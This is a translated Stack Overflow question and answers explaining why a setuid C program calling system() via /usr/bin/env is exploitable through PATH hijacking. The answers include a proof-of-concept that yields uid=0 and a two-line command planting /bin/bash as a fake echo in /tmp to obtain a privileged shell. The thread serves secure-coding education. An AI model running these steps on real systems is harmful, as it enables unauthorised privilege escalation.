【问题标题】:What is vulnerable about this C code?这段 C 代码有什么漏洞?
【发布时间】:2011-11-29 00:46:07
【问题描述】:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

按照我的理解,上面的代码允许任意代码(或程序)执行——是什么导致了这个漏洞,以及如何利用这一点?

【问题讨论】:

  • 你为什么认为这允许任意代码执行?
  • 好吧,老实说,我是在盲目相信它。我是一名安全专业的学生,​​我正在查看易受攻击的代码,我看到了这个,它在书中说它确实如此,但是它没有解释这个特定的例子。
  • 也许你指的是系统调用?不是这方面的专家,但这是唯一让我觉得奇怪的事情。没有缓冲区溢出或类似情况。
  • @quantumdisaster:这是哪本书?

标签: c linux security exploit secure-coding


【解决方案1】:

您可以覆盖PATH 变量以指向具有您自定义版本的echo 的目录,并且由于echo 是使用env 执行的,因此它不会被视为内置。

仅当代码以特权用户身份运行时,这才构成漏洞。

在下面的示例中,文件 v.c 包含问题中的代码。

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

请注意,在问题中发布的易受攻击的代码中,通过在调用system()之前调用setresuid()来设置真实用户ID、有效用户ID和保存的set-user-ID,可以利用该漏洞即使只有有效用户 ID 设置为特权用户 ID,而真实用户 ID 仍然是非特权用户(例如,依赖于上述文件上的 set-user-ID 位时的情况)。如果没有对setresuid() 的调用,system() 运行的 shell 会将有效用户 ID 重置为真实用户 ID,从而使漏洞利用无效。然而,当易受攻击的代码以特权用户的真实用户 ID 运行时,单独调用 system() 就足够了。引用 sh 手册页:

如果 shell 以不等于真实用户的有效用户(组)id 启动 (group) id,并且没有提供 -p 选项,没有启动文件 读取,shell 函数不是从环境继承的,SHELLOPTS 变量,如果它 出现在环境中,被忽略,有效用户 id 设置为真实的用户 id。如果在调用时提供了 -p 选项,则启动 行为是一样的,但是有效的用户id没有被重置。

另外,请注意setresuid() 不可移植,但setuid()setreuid() 也可以用于相同的效果。

【讨论】:

  • 只是好奇...... PATH 是如何出现的?我会认为,由于指定了“env”的完整路径,因此不会搜索 PATH。当然,如果有人有权限在 /usr/bin/env 下放一个讨厌的程序,那就麻烦了。
  • env 搜索 PATH 以找到 echo
  • 如果程序以 SUID root 运行,你真的可以覆盖环境吗?
  • @KerrekSB:execvpe,例如,允许您显式设置应用程序运行的环境。现在env 本身就是为了修改环境而设计的,所以我不确定如何但这会影响这一点。
【解决方案2】:

实际上,在系统函数调用中,您可能会弄乱echo 命令。 例如,如果您执行以下代码:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

你会得到一个拥有文件所有者权限的shell

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2011-04-13
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-12-31
    • 1970-01-01
    • 2015-01-16
    相关资源
    最近更新 更多